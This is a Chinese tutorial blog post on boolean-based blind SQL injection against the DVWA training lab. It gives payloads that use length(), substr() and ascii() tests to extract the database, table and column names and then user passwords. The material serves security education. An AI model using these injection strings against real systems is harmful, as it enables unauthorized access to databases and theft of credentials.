SQl盲注原理及其简单演示
首先說下Sql盲注和Sql注入的區別:
盲注:獲得不了過多的信息,沒有詳細內容;
普通注入:可以通過較為詳細的內容來分析;
盲注概述:在sql注入過程中,SQL語句執行查詢后,查詢數據不能回顯到前端頁面中,我們需要使用一些特殊的方式來判斷或者嘗試,這個過程稱為盲注。
盲注一般分為三種:
布爾盲注:頁面只返回對或者錯,存在或者不存在來判斷
基于時間的盲注:通過頁面沉睡時間來判斷
報錯的盲注:輸入特定的語句使頁面報錯,網頁回輸出相關的錯誤信息;從而是我們想要的基本信息;
今天主要講布爾盲注及其簡單演示;
布爾盲注:(目的:理解過程和原理然后嘗試去寫腳本)
基本思路和步驟:
使用場景:(今天盲注所要用到的sql條件語句)
基于布爾值的盲注;
1' and length(database())=1?#(數據庫長度是否為1)
1' and ascii(substr(database(),1,1))>97?#(截取數據庫名第一個字的ASCII值是否大于97)
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1?#(統計dvwa庫中是否有1個表)
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 #(dvwa庫第一個表的長度是否為1)
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97?#(dvwa庫中第一個表的第一個字符的ASCII值)
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #(users表中是否有一個字段名)
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))=1 #(users表中第一個字段名的長度是否為1)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))>97?#(users表中第一個字段名的第一個字符的ASCII嗎值是否大于97)
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#(users表中的user字段的第一個字母的ASCII值是否為97)
SQL盲注簡單演示(基于PHP study數據庫條件之下)
在做演示之前先打開low級別盲注的源碼幫助我們理解
可看出返回值只有存在和不存在,可以簡單判斷為布爾盲注;
- 判斷是否存在注入,注入是字符型還是數字型;
依次輸入1,2,3,4,5,6,(我只放了兩截圖)
?當輸入6的時候返回值為missing,我們可以大概猜測出大概率為布爾盲注,因為返回值只有存在和不存在,
現在判斷是否有注入點且分析為字符型還是數字型
輸入1’
輸出結果為不存在,證明’已經拼接進去,且說明存在注入點,并且注入點就在1’后邊的位置,現在進一步判斷是字符型注入還是數字型注入
輸入1’?and ‘1’=’1
可以看出返回結果為存在,可以確定為字符型注入(不夠確定可以輸入1’?and ‘1’=’2 ?看結果)
- 猜解當前數據庫名—>猜解數據庫長度—>猜解數據庫名稱
輸入1' and length(database())=1?#(條件可以自行設定等于大于小于,只要語法不出錯)
?可以看出庫長度為4
然后猜解庫名首字母
輸入1' and ascii(substr(database(),1,1))>97?#(//將庫名截取后轉換為ASCII值來判斷)(從這開始就用二分法一次次嘗試 利用ASCII碼值對應的字母來獲得庫名)
?(我只顯示部分ASCII對應表完整的可以百度)
經過多次判別ASCII為100時存在 首字母為d(因為截圖太多我這只出結果圖)
??第二字母為v
?第三字母為w
?第四字母為a
由此得出庫名dvwa
- 猜解數據庫中的表名—>庫中表的數量—>表的長度—>表的名稱;
輸入1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1?#(//統計dvwa庫中有幾個表)
?當數量為2時輸出正確,則庫中有兩個表
現在輸入1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=1 # (顯示第一個表名的長度)(這時候可以以自己的邏輯解決表名,用length ascii等函數均可,方法不唯一)
?現在可以得出第一個表為9個字符
第二個表為5個字符(這時侯我們就要對users(5)表password(8)表格外注意)
判斷第二個表是不是為users表
輸入1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>97 #(來判斷兩個表的名字)
第二個表第一個字母為u
?第二個表第二個字母為s
?第三字母為e
?
第四字母為r
?第五字母為s
則得出這第二表名為users
- 猜解表中的字段名—>表中字段的數量—>字段的長度—>字段的名稱;
先猜解字段數量輸入1' and (select count(column_name) from information_schema.columns where table_name='users')=1?#
?經過無數次實驗后得到字段名的數量為8
現在確定字段名的長度輸入1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
利用這個語句最終得出第四個字段為4個長度 ???第五個字段為8個長度
現在我們對這兩個字段名稱進行破解
輸入1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit?0,1),1))>97?#
得到第一個字段名為user
?中間由于截圖太多就不過多演示最終得到第二個字段名為password
(五)猜解數據并得到數據;
輸入1' and (ascii(substr((select user from users limit 0,1),1,1)))=97#
用來猜解user表中內容
。。。。。。等(我這邊不過多演示,最終通過多演示得到user中的第一行admin)
同理輸入1' and (ascii(substr((select password from users limit 0,1),1,1)))=97#
來得到密碼
這里就不過多演示了
以上就是簡單實驗演示 和原理,希望大家多多指證!
總結
以上是生活随笔為你收集整理的SQl盲注原理及其简单演示的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: promise简析
- 下一篇: webpack.config.js 参数